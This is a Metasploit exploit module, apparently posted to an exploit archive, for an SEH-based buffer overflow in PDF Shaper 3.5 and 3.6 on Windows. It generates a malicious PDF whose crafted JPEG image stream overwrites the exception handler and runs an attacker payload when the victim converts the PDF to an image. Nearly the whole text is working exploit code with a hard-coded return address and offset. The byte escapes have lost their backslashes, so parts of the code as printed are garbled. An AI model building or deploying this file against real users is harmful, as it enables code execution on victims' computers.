PDF Shaper Buffer Overflow
Posted on 01 December 2016
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'PDF Shaper Buffer Overflow', 'Description' => %q{ PDF Shaper is prone to a security vulnerability when processing PDF files. The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file. This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC 'metacom' # MSF Module ], 'References' => [ ['URL', 'https://www.exploit-db.com/exploits/37760/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', # none/process/thread/seh }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'DisableNops' => true }, 'Targets' => [ ['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>', { 'Ret' => 0x00402AC1, # PDFTools.exe 'Offset' => 433 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 03 2015', 'DefaultTarget' => 0 )) register_options( [ OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf']) ], self.class ) end def exploit file_create(make_pdf) end def jpeg buffer = "xFFxD8xFFxEEx00x0Ex41x64x6Fx62x65x00x64x80x00x00" buffer << "x00x02xFFxDBx00x84x00x02x02x02x02x02x02x02x02x02" buffer << "x02x03x02x02x02x03x04x03x03x03x03x04x05x04x04x04" buffer << "x04x04x05x05x05x05x05x05x05x05x05x05x07x08x08x08" buffer << "x07x05x09x0Ax0Ax0Ax0Ax09x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C" buffer << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01x03x02x02x03x03x03x07x05" buffer << "x05x07x0Dx0Ax09x0Ax0Dx0Fx0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C" buffer << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0Cx0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E" buffer << "x0Ex0Ex0Cx11x11x11x11x11x11x11x11x11x11x11x11x11" buffer << "x11x11x11x11x11x11x11x11xFFxC0x00x14x08x00x32x00" buffer << "xE6x04x01x11x00x02x11x01x03x11x01x04x11x00xFFxC4" buffer << "x01xA2x00x00x00x07x01x01x01x01x01x00x00x00x00x00" buffer << "x00x00x00x04x05x03x02x06x01x00x07x08x09x0Ax0Bx01" buffer << "x54x02x02x03x01x01x01x01x01x00x00x00x00x00x00x00" buffer << "x01x00x02x03x04x05x06x07" buffer << rand_text(target['Offset']) # junk buffer << generate_seh_record(target.ret) buffer << payload.encoded buffer << rand_text(2388 - payload.encoded.length) buffer end def make_pdf @pdf << header add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>") add_object(2, "<</Type/Outlines>>") add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>") add_object(4, "[/PDF/Text/ImageC]") add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>") stream_1 = "stream" << eol stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol stream_1 << "endstream" << eol add_object(6, "<</Length 91>>#{stream_1}") stream = "<<" << eol stream << "/Width 230" << eol stream << "/BitsPerComponent 8" << eol stream << "/Name /X" << eol stream << "/Height 50" << eol stream << "/Intent /RelativeColorimetric" << eol stream << "/Subtype /Image" << eol stream << "/Filter /DCTDecode" << eol stream << "/Length #{jpeg.length}" << eol stream << "/ColorSpace /DeviceCMYK" << eol stream << "/Type /XObject" << eol stream << ">>" stream << "stream" << eol stream << jpeg << eol stream << "endstream" << eol add_object(7, stream) finish_pdf end end